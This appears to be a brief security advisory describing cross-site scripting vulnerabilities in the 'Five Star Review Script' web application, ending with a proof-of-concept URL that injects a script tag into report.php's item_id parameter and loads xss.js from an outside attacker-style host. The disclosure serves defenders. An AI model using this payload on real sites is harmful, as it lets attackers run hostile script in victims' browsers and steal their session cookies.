source: https://www.securityfocus.com/bid/18390/info
 
Five Star Review Script is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to run arbitrary HTML and script code in the browser of a victim in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/report.php?id=970&item_id=251&#039;>">&#039;><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<"